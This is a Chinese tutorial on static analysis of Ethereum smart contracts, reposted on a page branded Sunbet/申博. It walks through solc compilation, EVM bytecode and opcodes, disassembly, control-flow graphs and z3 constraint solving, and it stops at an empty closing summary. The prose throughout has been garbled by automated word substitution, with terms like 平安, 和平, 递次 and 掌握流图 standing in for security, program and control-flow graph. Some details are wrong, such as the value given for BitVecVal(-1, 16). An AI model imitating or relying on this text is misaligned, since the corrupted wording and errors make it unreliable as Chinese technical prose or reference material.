详解区块链平安-以太坊的智能合约如何静态 | 申博官网
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

详解区块链平安-以太坊的智能合约如何静态

Sunbet_安全预警 申博 254次浏览 已收录 0个评论

概述

如今,易台坊智能合同安全问题频发,从DAO问题到Fomo3D最近被盗,每一次的和平都是一个大的破坏话题,如何准确防范智能合同安全漏洞成为迫在眉睫的危险。本文通过对智能合同的静态分析,阐述了如何发现智能合同的漏洞。合同由于智能布局未来的更新和推广是非常困难的,为了在智能合同布局的静态分析,发现和发明的智能合同漏洞,可能是最大的限制,以确保合同智能布局未来的和平。

本文包罗以下五个章节:

  • 智能合约的编译
  • 智能合约汇编指令剖析
  • 从反编译代码构建掌握流图
  • 从掌握流图最先束缚求解
  • 罕见的智能合约漏洞和检测要领

第一章 智能合约的编译

本章节是智能合约静态剖析的第一章,重要解说了智能合约的编译,包孕编译情况的搭建、solidity编译器的运用。

1.1 编译情况的搭建

我们以Ubuntu体系为例,引见编译情况的搭建历程。起首引见的是go-ethereum的装置。

1.1.1 装置go-ethereum

经由历程apt-get装置是对照轻便的装置要领,只须要在装置之前增加go-ethereum的ppa堆栈,完全的装置敕令以下:

sudo apt-get install software-properties-common
sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install ethereum

装置胜利后,我们在敕令行下就可以或许运用geth,evm,swarm,bootnode,rlpdump,abigen等敕令。

固然,我们也可以或许经由历程编译源码的体式格局举行装置,然则这类装置体式格局须要提早装置golang的情况,步调对照烦琐。

1.1.2 装置solidity编译器

现在以太坊上的智能合约绝大多数是经由历程solidity言语编写的,以是本章只引见solidity编译器的装置。solidity的装置和go-ethereum相似,也是经由历程apt-get装置,在装置前先增加响应的ppa堆栈。完全的装置敕令以下:

sudo add-apt-repository ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install solc

实行以上敕令后,最新的稳定版的solidity编译器就装置完成了。今后我们在敕令行就可以或许运用solc敕令了。

1.2 solidity编译器的运用

1.2.1 基础用法

我们以一个简朴的以太坊智能合约为例举行编译,智能合约代码(保存在test.sol文件)以下:

pragma solidity ^0.4.25;

contract Test {

}

实行solc敕令:solc --bin test.sol

输出效果以下:

======= test.sol:Test =======
Binary: 
6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029

solc敕令的--bin选项,用来把智能合约编译后的二进制以十六进制情势透露表现。和--bin选项相似的是--bin-runtime,这个选项也会输出十六进制透露表现,然则会省略智能合约编译后的布置代码。接下来我们实行solc敕令:

solc --bin-runtime test.sol

输出效果以下:

======= test.sol:Test =======
Binary of the runtime part: 
6080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029

对照两次输出效果不难发明,运用--bin-runtime选项后,输出效果的最先局部少了6080604052348015600f57600080fd5b50603580601d6000396000f300,为甚么会少了这局部代码呢,看完接下来的智能合约编译后的字节码构造就邃晓了。

1.2.2 智能合约字节码构造

智能合约编译后的字节码,分为三个局部:布置代码、runtime代码、auxdata。

1.布置代码:以上面的输出效果为例,个中6080604052348015600f57600080fd5b50603580601d6000396000f300为布置代码。以太坊虚拟机在建立合约的时刻,会先建立合约账户,然后运转布置代码。运转完成后它会将runtime代码+auxdata 存储到区块链上。今后再把两者的存储地点跟合约账户联系干系起来(也就是把合约账户中的code hash字段用该地点赋值),如许就完成了合约的布置。

2.runtime代码:该例中6080604052600080fd00是runtime代码。

3.auxdata:每一个合约末了面的43字节就是auxdata,它会紧跟在runtime代码背面被存储起来。

solc敕令的--bin-runtime选项,输出了runtime代码和auxdata,省略了布置代码,以是输出效果的最先局部少了6080604052348015600f57600080fd5b50603580601d6000396000f300

1.2.3 天生汇编代码

solc敕令的--asm选项用来天生汇编代码,接下来我们照样以最后的智能合约为例实行solc敕令,检察天生的汇编代码。

实行敕令:solc --bin --asm test.sol

输出效果以下:

======= test.sol:Test =======
EVM assembly:
... */ "test.sol":28:52  contract Test {
  mstore(0x40, 0x80)
  callvalue
    /* "--CODEGEN--":8:17   */
  dup1
    /* "--CODEGEN--":5:7   *
  iszero
  tag_1
  jumpi
    /* "--CODEGEN--":30:31   */
  0x0
    /* "--CODEGEN--":27:28   */
  dup1
    /* "--CODEGEN--":20:32   */
  revert
    /* "--CODEGEN--":5:7   */
tag_1:
... */ "test.sol":28:52  contract Test {
  pop
  dataSize(sub_0)
  dup1
  dataOffset(sub_0)
  0x0
  codecopy
  0x0
  return
stop

sub_0: assembly {
... */  /* "test.sol":28:52  contract Test {
      mstore(0x40, 0x80)
      0x0
      dup1
      revert

    auxdata: 0xa165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
}

由1.2.2小节可知,智能合约编译后的字节码分为布置代码、runtime代码和auxdata三局部。一样,智能合约编译天生的汇编指令也分为三局部:EVM assembly标签下的汇编指令对应的是布置代码;sub_0标签下的汇编指令对应的是runtime代码;sub_0标签下的auxdata和字节码中的auxdata完全相同。由于现在智能合约文件并没有本质的内容,以是sub_0标签下没有任何有意义的汇编指令。

1.2.4 天生ABI

solc敕令的--abi选项可以或许用来天生智能合约的ABI,一样照样最最先的智能合约代码举行演示。

实行solc敕令:solc --abi test.sol

输出效果以下:

======= test.sol:Test =======
Contract JSON ABI 
[]

可以或许看到天生的效果中ABI数组为空,由于我们的智能合约里并没有内容(没有变量声明,没有函数)。

1.3 总结

本章节重要引见了编译情况的搭建、智能合约的字节码的构造组成和solc敕令的罕见用法(天生字节码,天生汇编代码,天生abi)。鄙人一章中,我们将对天生的汇编代码做深切的剖析。

第二章 智能合约汇编指令剖析

本章是智能合约静态剖析的第二章,在第一章中我们简朴演示了怎样经由历程solc敕令天生智能合约的汇编代码,在本章中我们将对智能合约编译后的汇编代码举行深切剖析,和经由历程evm敕令对编译天生的字节码举行反编译。

2.1 以太坊中的汇编指令

为了让人人更好的明白汇编指令,我们先简朴引见下以太坊虚拟机EVM的存储构造,熟习Java虚拟机的同砚可以或许把EVM和JVM举行对照进修。

2.1.1 以太坊虚拟机EVM

编程言语虚拟机一样平常有两种范例,基于栈,或许基于寄存器。和JVM一样,EVM也是基于栈的虚拟机。

既然是支撑栈的虚拟机,那末EVM一定起首得有个栈。为了轻易举行密码学盘算,EVM接纳了32字节(256比特)的字长。EVM栈以字(Word)为单元举行操纵,最多可以或许包容1024个字。下面是EVM栈的示意图:
详解区块链平安-以太坊的智能合约如何静态

2.1.2 以太坊的汇编指令集:

和JVM一样,EVM实行的也是字节码。由于操纵码被限定在一个字节之内,以是EVM指令集最多只能包容256条指令。现在EVM已界说了约142条指令,另有100多条指令可供今后扩大。这142条指令包孕算术运算指令,对照操纵指令,按位运算指令,密码学盘算指令,栈、memory、storage操纵指令,跳转指令,区块、智能合约相干指令等。下面是已界说的EVM操纵码分布图[1](灰色地区是现在还没有界说的操纵码)

详解区块链平安-以太坊的智能合约如何静态

下面的表格中总结了经常使用的汇编指令:

操纵码 汇编指令 形貌
0x00 STOP 终了指令
0x01 ADD 把栈顶的两个值出栈,相加后把效果压入栈顶
0x02 MUL 把栈顶的两个值出栈,相乘后把效果压入栈顶
0x03 SUB 从栈中顺次出栈两个值arg0和arg1,用arg0减去arg1,再把效果压入栈顶
0x10 LT 把栈顶的两个值出栈,若是先出栈的值小于后出栈的值则把1入栈,反之把0入栈
0x11 GT 和LT相似,若是先出栈的值大于后出栈的值则把1入栈,反之把0入栈
0x14 EQ 把栈顶的两个值出栈,若是两个值相称则把1入栈,不然把0入栈
0x15 ISZERO 把栈顶值出栈,若是该值是0则把1入栈,不然把0入栈
0x34 CALLVALUE 猎取生意业务中的转账金额
0x35 CALLDATALOAD 猎取生意业务中的input字段的值
0x36 CALLDATASIZE 猎取生意业务中input字段的值的长度
0x50 POP 把栈顶值出栈
0x51 MLOAD 把栈顶出栈并以该值作为内存中的索引,加载内存中该索引今后的32字节到栈顶
0x52 MSTORE 从栈中顺次出栈两个值arg0和arg1,并把arg1存放在内存的arg0处
0x54 SLOAD 把栈顶出栈并以该值作为storage中的索引,加载该索引对应的值到栈顶
0x55 SSTORE 从栈中顺次出栈两个值arg0和arg1,并把arg1存放在storage的arg0处
0x56 JUMP 把栈顶值出栈,并以此值作为跳转的目标地点
0x57 JUMPI 从栈中顺次出栈两个值arg0和arg1,若是arg1的值为真则跳转到arg0处,不然不跳转
0x60 PUSH1 把1个字节的数值放入栈顶
0x61 PUSH2 把2个字节的数值放入栈顶
0x80 DUP1 复制以后栈中第一个值到栈顶
0x81 DUP2 复制以后栈中第二个值到栈顶
0x90 SWAP1 把栈中第一个值和第二个值举行换取
0x91 SWAP2 把栈中第一个值和第三个值举行换取

2.2 智能合约汇编剖析

在第一章中,为了便于入门,我们剖析的智能合约文件其实不包罗本质的内容。在本章中我们以一个轻微庞杂的智能合约为例举行剖析。智能合约(保存在test.sol文件中)代码以下:

pragma solidity ^0.4.25;
contract Overflow {
    uint private sellerBalance=0;

    function add(uint value) returns (bool, uint){
        sellerBalance += value;
        assert(sellerBalance >= value);
    }
}

2.2.1 天生汇编代码

实行solc敕令:solc --asm --optimize test.sol,个中--optimize选项用来开启编译优化

输出的效果以下:

EVM assembly:
... */ "test.sol":26:218  contract Overflow {
  mstore(0x40, 0x80)
    /* "test.sol":78:79  0 */
  0x0
    /* "test.sol":51:79  uint private sellerBalance=0 */
  dup1
  sstore
... */ "test.sol":26:218  contract Overflow {
  callvalue
    /* "--CODEGEN--":8:17   */
  dup1
    /* "--CODEGEN--":5:7   */
  iszero
  tag_1
  jumpi
    /* "--CODEGEN--":30:31   */
  0x0
    /* "--CODEGEN--":27:28   */
  dup1
    /* "--CODEGEN--":20:32   */
  revert
    /* "--CODEGEN--":5:7   */
tag_1:
... */ "test.sol":26:218  contract Overflow {
  pop
  dataSize(sub_0)
  dup1
  dataOffset(sub_0)
  0x0
  codecopy
  0x0
  return
stop

sub_0: assembly {
... */  /* "test.sol":26:218  contract Overflow {
      mstore(0x40, 0x80)
      jumpi(tag_1, lt(calldatasize, 0x4))
      and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff)
      0x1003e2d2
      dup2
      eq
      tag_2
      jumpi
    tag_1:
      0x0
      dup1
      revert
... */  /* "test.sol":88:215  function add(uint value) returns (bool, uint){
    tag_2:
      callvalue
        /* "--CODEGEN--":8:17   */
      dup1
        /* "--CODEGEN--":5:7   */
      iszero
      tag_3
      jumpi
        /* "--CODEGEN--":30:31   */
      0x0
        /* "--CODEGEN--":27:28   */
      dup1
        /* "--CODEGEN--":20:32   */
      revert
        /* "--CODEGEN--":5:7   */
    tag_3:
      pop
... */  /* "test.sol":88:215  function add(uint value) returns (bool, uint){
      tag_4
      calldataload(0x4)
      jump(tag_5)
    tag_4:
      /* 省略局部代码 */
    tag_5:
        /* "test.sol":122:126  bool */
      0x0
        /* "test.sol":144:166  sellerBalance += value */
      dup1
      sload
      dup3
      add
      dup1
      dup3
      sstore
        /* "test.sol":122:126  bool */
      dup2
      swap1
        /* "test.sol":184:206  sellerBalance >= value */
      dup4
      gt
      iszero
        /* "test.sol":177:207  assert(sellerBalance >= value) */
      tag_7
      jumpi
      invalid
    tag_7:
... */  /* "test.sol":88:215  function add(uint value) returns (bool, uint){
      swap2
      pop
      swap2
      jump  // out

    auxdata: 0xa165627a7a7230582067679f8912e58ada2d533ca0231adcedf3a04f22189b53c93c3d88280bb0e2670029
}

回忆第一章我们得知,智能合约编译天生的汇编指令分为三局部:EVM assembly标签下的汇编指令对应的是布置代码;sub_0标签下的汇编指令对应的是runtime代码,是智能合约布置后真正运转的代码。

2.2.2 剖析汇编代码

接下来我们从sub_0标签的进口最先,一步步地举行剖析:

  1. 最最先处实行mstore(0x40, 0x80)指令,把0x80存放在内存的0x40处。

  2. 第二步实行jumpi指令,在跳转之前要先经由历程calldatasize指令用来猎取本次生意业务的input字段的值的长度。若是该长度小于4字节则是一个不法挪用,递次会跳转到tag_1标签下。若是该长度大于4字节则递次向下实行。

  3. 接下来是猎取生意业务的input字段中的函数署名。若是input字段中的函数署名即是”0x1003e2d2″,则EVM跳转到tag_2标签下实行,不然不跳转,递次向下实行tag_1。ps:运用web3.sha3(“add(uint256)”)可以或许盘算智能合约中add函数的署名,盘算效果为0x1003e2d21e48445eba32f76cea1db2f704e754da30edaf8608ddc0f67abca5d0,今后取前四字节”0x1003e2d2″作为add函数的署名。

  4. 在tag_2标签中,起首实行callvalue指令,该指令猎取生意业务中的转账金额,若是金额是0,则实行接下来的jumpi指令,就会跳转到tag_3标签。ps:由于add函数没有payable润饰,致使该函数不克不及吸收转账,以是在挪用该函数时会先推断生意业务中的转账金额是不是是0。

  5. 在tag_3标签中,会把tag_4标签压入栈,作为函数挪用完成后的返回地点,同时calldataload(0x4)指令会把生意业务的input字段中第4字节今后的32字节入栈,今后跳转到tag_5标签中继承实行。

  6. 在tag_5标签中,会实行add函数中的一切代码,包孕对变量sellerBalance举行赋值和对照变量sellerBalance和函数参数的巨细。若是变量sellerBalance的值大于函数参数,接下来会实行jumpi指令跳转到tag_7标签中,不然实行invalid,递次失足。

  7. 在tag_7标签中,实行两次swap2和一次pop指令后,此时的栈顶是tag_4标签,即函数挪用完成后的返回地点。接下来的jump指令会跳转到tag_4标签中实行,add函数的挪用就实行终了了。

2.3 智能合约字节码的反编译

在第一章中,我们引见了go-ethereum的装置,装置完成后我们在敕令行中就可以或许运用evm敕令了。下面我们运用evm敕令对智能合约字节码举行反编译。

须要注重的是,由于智能合约编译后的字节码分为布置代码、runtime代码和auxdata三局部,然则布置后真正实行的是runtime代码,以是我们只须要反编译runtime代码便可。照样以本章最先处的智能合约为例,实行solc --asm --optimize test.sol 敕令,截取字节码中的runtime代码局部:

608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631003e2d281146043575b600080fd5b348015604e57600080fd5b5060586004356073565b60408051921515835260208301919091528051918290030190f35b6000805482018082558190831115608657fe5b9150915600

把这段代码保存在某个文件中,好比保存在test.bytecode中。

接下来实行反编译敕令:evm disasm test.bytecode

获得的效果以下:

00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
0000c: PUSH4 0xffffffff
00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
0002f: PUSH1 0x00
00031: CALLDATALOAD
00032: DIV
00033: AND
00034: PUSH4 0x1003e2d2
00039: DUP2
0003a: EQ
0003b: PUSH1 0x43
0003d: JUMPI
0003e: JUMPDEST
0003f: PUSH1 0x00
00041: DUP1
00042: REVERT
00043: JUMPDEST
00044: CALLVALUE
00045: DUP1
00046: ISZERO
00047: PUSH1 0x4e
00049: JUMPI
0004a: PUSH1 0x00
0004c: DUP1
0004d: REVERT
0004e: JUMPDEST
0004f: POP
00050: PUSH1 0x58
00052: PUSH1 0x04
00054: CALLDATALOAD
00055: PUSH1 0x73
00057: JUMP
00058: JUMPDEST
00059: PUSH1 0x40
0005b: DUP1
0005c: MLOAD
0005d: SWAP3
0005e: ISZERO
0005f: ISZERO
00060: DUP4
00061: MSTORE
00062: PUSH1 0x20
00064: DUP4
00065: ADD
00066: SWAP2
00067: SWAP1
00068: SWAP2
00069: MSTORE
0006a: DUP1
0006b: MLOAD
0006c: SWAP2
0006d: DUP3
0006e: SWAP1
0006f: SUB
00070: ADD
00071: SWAP1
00072: RETURN
00073: JUMPDEST
00074: PUSH1 0x00
00076: DUP1
00077: SLOAD
00078: DUP3
00079: ADD
0007a: DUP1
0007b: DUP3
0007c: SSTORE
0007d: DUP2
0007e: SWAP1
0007f: DUP4
00080: GT
00081: ISZERO
00082: PUSH1 0x86
00084: JUMPI
00085: Missing opcode 0xfe
00086: JUMPDEST
00087: SWAP2
00088: POP
00089: SWAP2
0008a: JUMP
0008b: STOP

接下来我们把上面的反编译代码和2.1节中天生的汇编代码举行对照剖析。

2.3.1 剖析反编译代码

  1. 反编译代码的00000到0003d行,对应的是汇编代码中sub_0标签到tag_1标签之间的代码。MSTORE指令把0x80存放在内存地点0x40地点处。接下来的LT指令推断生意业务的input字段的值的长度是不是小于4,若是小于4,则今后的JUMPI指令就会跳转到0x3e地点处。对照本章第二节中天生的汇编代码不难发明,0x3e就是tag_1标签的地点。接下来的指令猎取input字段中的函数署名,若是即是0x1003e2d2则跳转到0x43地点处。0x43就是汇编代码中tag_2标签的地点。
  2. 反编译代码的0003e到00042行,对应的是汇编代码中tag_1标签内的代码。
  3. 反编译代码的00043到0004d行,对应的是汇编代码中tag_2标签内的代码。0x43地点对应的指令是JUMPDEST,该指令没有实际意义,只是起到占位的作用。接下来的CALLVALUE指令猎取生意业务中的转账金额,若是金额是0,则实行接下来的JUMPI指令,跳转到0x4e地点处。0x4e就是汇编代码中tag_3标签的地点。
  4. 反编译代码的0004e到00057行,对应的是汇编代码中tag_3标签内的代码。0x4e地点对应的指令是JUMPDEST。接下来的PUSH1 0x58指令,把0x58压入栈,作为函数挪用完成后的返回地点。今后的JUMP指令跳转到0x73地点处。0x73就是汇编代码中tag_5标签的地点。
  5. 反编译代码的00058到00072行,对应的是汇编代码中tag_4标签内的代码。
  6. 反编译代码的00073到00085行,对应的是汇编代码中tag_5标签内的代码。0x73地点对应的指令是JUMPDEST,今后的指令会实行add函数中的一切代码。若是变量sellerBalance的值大于函数参数,接下来会实行JUMPI指令跳转到0x86地点处,不然递次向下实行到0x85地点处。这里有个须要注重的处所,在汇编代码中此处显现invalid,但在反编译代码中,此处显现Missing opcode 0xfe
  7. 反编译代码的00086到0008a行,对应的是汇编代码中tag_7标签内的代码。
  8. 0008b行对应的指令是STOP,实行到此处时全部流程终了。

2.4 总结

本章起首引见了EVM的存储构造和以太坊中经常使用的汇编指令。今后逐行剖析了智能合约编译后的汇编代码,末了反编译了智能合约的字节码,把反编译的代码和汇编代码做了对照剖析。置信读完本章今后,人人基础上可以或许看懂智能合约的汇编代码和反编译后的代码。鄙人一章中,我们将引见怎样从智能合约的反编译代码中天生掌握流图(control flow graph)。

第三章 从反编译代码构建掌握流图

本章是智能合约静态剖析的第三章,第二章中我们天生了反编译代码,本章我们将从这些反编译代码动身,一步一步的构建掌握流图。

3.1 掌握流图的观点

3.1.1 基础块(basic block)

基础块是一个最大化的指令序列,递次实行只能从这个序列的第一条指令进入,从这个序列的末了一条指令退出。

构建基础块的三个准绳:

  1. 碰到递次、子递次的第一条指令或语句,终了以后基础块,并将该语句作为一个新块的第一条语句。
  2. 碰到跳转语句、分支语句、轮回语句,将该语句作为以后块的末了一条语句,并终了以后块。
  3. 碰到其他语句直接将其到场到以后基础块。

3.1.2 掌握流图(control flow graph)

掌握流图是以基础块为结点的有向图G=(N, E),个中N是结点鸠合,透露表现递次中的基础块;E是结点之间边的鸠合。若是从基础块P的出口转向基础块块Q,则从P到Q有一条有向边P->Q,透露表现从结点P到Q存在一条可实行途径,P为Q的先驱结点,Q为P的后继结点。也就代表在实行完结点P中的代码语句后,有能够递次实行结点Q中的代码语句[2]。

3.2 构建基础块

掌握流图是由基础块和基础块之间的边组成,以是构建基础块是掌握流图的前提。接下来我们以反编译代码作为输入,剖析怎样构建基础块。

第二章中的反编译代码以下:

00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
0000c: PUSH4 0xffffffff
00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
0002f: PUSH1 0x00
00031: CALLDATALOAD
00032: DIV
00033: AND
00034: PUSH4 0x1003e2d2
00039: DUP2
0003a: EQ
0003b: PUSH1 0x43
0003d: JUMPI
0003e: JUMPDEST
0003f: PUSH1 0x00
00041: DUP1
00042: REVERT
00043: JUMPDEST
00044: CALLVALUE
00045: DUP1
00046: ISZERO
00047: PUSH1 0x4e
00049: JUMPI
0004a: PUSH1 0x00
0004c: DUP1
0004d: REVERT
0004e: JUMPDEST
0004f: POP
00050: PUSH1 0x58
00052: PUSH1 0x04
00054: CALLDATALOAD
00055: PUSH1 0x73
00057: JUMP
00058: JUMPDEST
00059: PUSH1 0x40
0005b: DUP1
0005c: MLOAD
0005d: SWAP3
0005e: ISZERO
0005f: ISZERO
00060: DUP4
00061: MSTORE
00062: PUSH1 0x20
00064: DUP4
00065: ADD
00066: SWAP2
00067: SWAP1
00068: SWAP2
00069: MSTORE
0006a: DUP1
0006b: MLOAD
0006c: SWAP2
0006d: DUP3
0006e: SWAP1
0006f: SUB
00070: ADD
00071: SWAP1
00072: RETURN
00073: JUMPDEST
00074: PUSH1 0x00
00076: DUP1
00077: SLOAD
00078: DUP3
00079: ADD
0007a: DUP1
0007b: DUP3
0007c: SSTORE
0007d: DUP2
0007e: SWAP1
0007f: DUP4
00080: GT
00081: ISZERO
00082: PUSH1 0x86
00084: JUMPI
00085: Missing opcode 0xfe
00086: JUMPDEST
00087: SWAP2
00088: POP
00089: SWAP2
0008a: JUMP
0008b: STOP

我们从第一条指令最先剖析构建基础块的历程。00000地点处的指令是递次的第一条指令,依据构建基础块的第一个准绳,将其作为新的基础块的第一条指令;0000b地点处是一条跳转指令,依据构建基础块的第二个准绳,将其作为新的基础块的末了一条指令。如许我们就把从地点000000000b的代码构建成一个基础块,为了今后轻易形貌,把这个基础块定名为基础块1。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

接下来0000c地点处的指令,我们作为新的基础块的第一条指令。0003d地点处是一条跳转指令,依据构建基础块的第二个准绳,将其作为新的基础块的末了一条指令。因而从地点0000c0003d就组成了一个新的基础块,我们把这个基础块定名为基础块2。

以此类推,我们可以或许遵循构建基础块的三个准绳构建起一切的基础块。构建完成后的基础块以下图所示:

详解区块链平安-以太坊的智能合约如何静态

图中的每一个矩形是一个基础块,矩形的右半局部是为了后续形貌轻易而对基础块的定名(固然你也可以或许定名成本身喜好的名字)。矩形的左半局部是基础块所包罗的指令的肇端地点和终了地点。当一切的基础块都构建完成后,我们就把之前的反编译代码转化成了11个基础块。接下来我们将构建基础块之间的边。

3.3 构建基础块之间的边

简朴来讲,基础块之间的边就是基础块之间的跳转干系。以基础块1为例,其末了一条指令是前提跳转指令,若是前提建立就跳转到基础块3,不然就跳转到基础块2。以是基础块1就存在基础块1->基础块2基础块1->基础块3两条边。基础块6的末了一条指令是跳转指令,该指令会直接跳转到基础块8,以是基础块6就存在基础块6->基础块8这一条边。

连系反编译代码和基础块的分别,我们不难得出一切边的鸠合E:

{
    '基础块1': ['基础块2','基础块3'],
    '基础块2': ['基础块3','基础块4'],
    '基础块3': ['基础块11'],
    '基础块4': ['基础块5','基础块6'],
    '基础块5': ['基础块11'],
    '基础块6': ['基础块8'],
    '基础块7': ['基础块8'],
    '基础块8': ['基础块9','基础块10'],
    '基础块9': ['基础块11'],
    '基础块10': ['基础块7']
}

我们把边的鸠合E用python中的dict范例透露表现,dict中的key是基础块,key对应的value值是一个list。照样以基础块1为例,由于基础块1存在基础块1->基础块2基础块1->基础块3两条边,以是'基础块1'对应的list值为['基础块2','基础块3']

3.4 构建掌握流图

在前两个小节中我们构建完成了基础块和边,到此构建掌握流图的准备工作都已完成,接下来我们就要把基础块和边整合在一起,绘制完全的掌握流图。
详解区块链平安-以太坊的智能合约如何静态

上图就是完全的掌握流图,从图中我们可以或许清楚直观的看到基础块之间的跳转干系,好比基础块1是前提跳转,依据前提是不是建立跳转到分歧的基础块,因而就构成了两条边。基础块2和基础块1相似也是前提跳转,也会构成两条边。基础块6是直接跳转,以是只会构成一条边。

在该掌握流图中,只要一个肇端块(基础块1)和一个终了块(基础块11)。当流程走到基础块11的时刻,透露表现全部流程终了。须要指出的是,基础块11中只包罗一条指令STOP

3.5 总结

本章先引见了掌握流图中的基础观点,今后依据基础块的构建准绳完成一切基础块的构建,接着连系反编译代码剖析了基础块之间的跳转干系,画出一切的边。当一切的准备工作完成后,末了绘制出掌握流图。鄙人一章中,我们将对构建好的掌握流图,接纳z3对其举行束缚求解。

第四章 从掌握流图最先束缚求解

在本章中我们将运用z3对第三章中天生的掌握流图举行束缚求解。z3是甚么,束缚求解又是甚么呢?下面将会给人人逐一解答。

束缚求解:求出可以或许知足一切束缚前提的每一个变量的值。

z3: z3是由微软公司开辟的一个优异的束缚求解器,用它能求解出知足束缚前提的变量的值。

从3.4节的掌握流图中我们不难发明,图顶用菱形透露表现的跳转前提摆布着基础块跳转的偏向。若是我们用变量透露表现跳转前提中的输入数据,再把变量组合成数学表达式,此时跳转前提就改变成了束缚前提,今后我们借助z3对束缚前提举行求解,依据求解的效果我们就可以推断出基础块的跳转偏向,云云一来我们就可以模仿全部递次的实行。

接下来我们就从z3的基础运用最先,一步一步的完成对一切跳转前提的束缚求解。

4.1 z3的运用

我们以z3的python完成z3py为例引见z3是怎样运用的[3]。

4.1.1 基础用法

from z3 import *

x = Int('x')
y = Int('y')
solve(x > 2, y < 10, x + 2*y == 7)

在上面的代码中,函数Int('x')在z3中建立了一个名为x的变量,今后挪用了solve函数求在三个束缚前提下的解,这三个束缚前提分别是x > 2, y < 10, x + 2*y == 7,运转上面的代码,输出效果为:

[y = 0, x = 7]

实际上知足束缚前提的解不止一个,好比[y=1,x=5]也相符前提,然则z3在默许情况下只寻觅知足束缚前提的一组解,而不是找出一切解。

4.1.2 布尔运算

from z3 import *

p = Bool('p')
q = Bool('q')
r = Bool('r')
solve(Implies(p, q), r == Not(q), Or(Not(p), r))

上面的代码演示了z3怎样求解布尔束缚,代码的运转效果以下:

[q = False, p = False, r = True]

4.1.3 位向量

在z3中我们可以或许建立流动长度的位向量,好比鄙人面的代码中BitVec('x', 16)建立了一个长度为16位,名为x的变量。

from z3 import *

x = BitVec('x', 16)
y = BitVec('y', 16)

solve(x + y > 5)

在z3中除可以或许建立位向量变量以外,也可以或许建立位向量常量。下面代码中的BitVecVal(-1, 16)建立了一个长度为16位,值为1的位向量常量。

from z3 import *

a = BitVecVal(-1, 16)
b = BitVecVal(65535, 16)
print simplify(a == b)

4.1.4 求解器

from z3 import *

x = Int('x')
y = Int('y')

s = Solver()

s.add(x > 10, y == x + 2)
print s
print s.check()

在上面代码中,Solver()建立了一个通用的求解器,今后挪用add()增加束缚,挪用check()推断是不是有知足束缚的解。若是有解则返回sat,若是没有则返回unsat

4.2 运用z3举行束缚求解

关于智能合约而言,当实行到CALLDATASIZECALLDATALOAD等指令时,透露表现递次要猎取外部的输入数据,此时我们用z3中的BitVec函数建立一个位向量变量来替代输入数据;当实行到LTEQ等指令时,此时我们用z3建立一个相似If(ULE(xx,xx), 0, 1)的表达式。

4.2.1 天生数学表达式

接下来我们以3.2节中的基础块1为例,看看怎样把智能合约的指令转换成数学表达式。

在最先转换之前,我们先来模仿下以太坊虚拟机的运转情况。我们用变量stack=[]来透露表现以太坊虚拟机的栈,用变量memory={}来透露表现以太坊虚拟机的内存,用变量storage={}来透露表现storage。

基础块1为例的指令码以下:

00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI

PUSH指令是入栈指令,实行两次入栈后,stack的值为[0x80,0x40]

MSTORE实行今后,stack为空,memory的值为{0x40:0x80}

CALLDATASIZE指令透露表现要猎取输入数据的长度,我们运用z3中的BitVec("Id_size",256),天生一个长度为256位,名为Id_size的变量来透露表现此时输入数据的长度。

LT指令用来对照0x04和变量Id_size的巨细,若是0x04小于变量Id_size则值为0,不然值为1。运用z3转换成表达式则为:If(ULE(4, Id_size), 0, 1)

JUMPI是前提跳转指令,是不是跳转到0x3e地点处取决于上一步中LT指令的效果,即表达式If(ULE(4, Id_size), 0, 1)的效果。若是效果不为0则跳转,不然不跳转,运用z3转换成表达式则为:If(ULE(4, Id_size), 0, 1) != 0

至此,基础块1中的指令都已运用z3转换成数学表达式。

4.2.2 实行数学表达式

实行上一节中天生的数学表达式的伪代码以下所示:

from z3 import *

Id_size = BitVec("Id_size",256)
exp = If(ULE(4, Id_size), 0, 1) != 0

solver = Solver()
solver.add(exp)

if solver.check() == sat:
    print "jump to BasicBlock3"
else:
    print "error "

在上面的代码中挪用了solver的check()要领来推断此表达式是不是有解,若是返回值即是sat则透露表现表达式有解,也就是说LT指令的效果不为0,那末接下来就可以或许跳转到基础块3。

视察3.4节中的掌握流图我们得知,基础块1今后有两条分支,若是知足推断前提则跳转到基础块3,不知足则跳转到基础块2。但在上面的代码中,当check()要领的返回值不即是sat时,我们并没有跳转到基础块2,而是直接输失足误,这是由于当前提表达式无解时,继承向下实行没有任何意义。那末怎样能力实行到基础块2呢,谜底是对前提表达式取反,然后再推断取反后的表达式是不是有解,若是有解则跳转到基础块2实行。伪代码以下所示:

Id_size = BitVec("Id_size",256)
exp = If(ULE(4, Id_size), 0, 1) != 0
negated_exp = Not(If(ULE(4, Id_size), 0, 1) != 0)

solver = Solver()

solver.push()
solver.add(exp)
if solver.check() == sat:
    print "jump to BasicBlock3"
else:
    print "error"
solver.pop()

solver.push()
solver.add(negated_exp)
if solver.check() == sat:
    print "falls to BasicBlock2"
else:
    print "error"

在上面代码中,我们运用z3中的Not函数,对之前的前提表达式举行取反,今后挪用check()要领推断取反后的前提表达式是不是有解,若是有解就实行基础块2。

4.3 总结

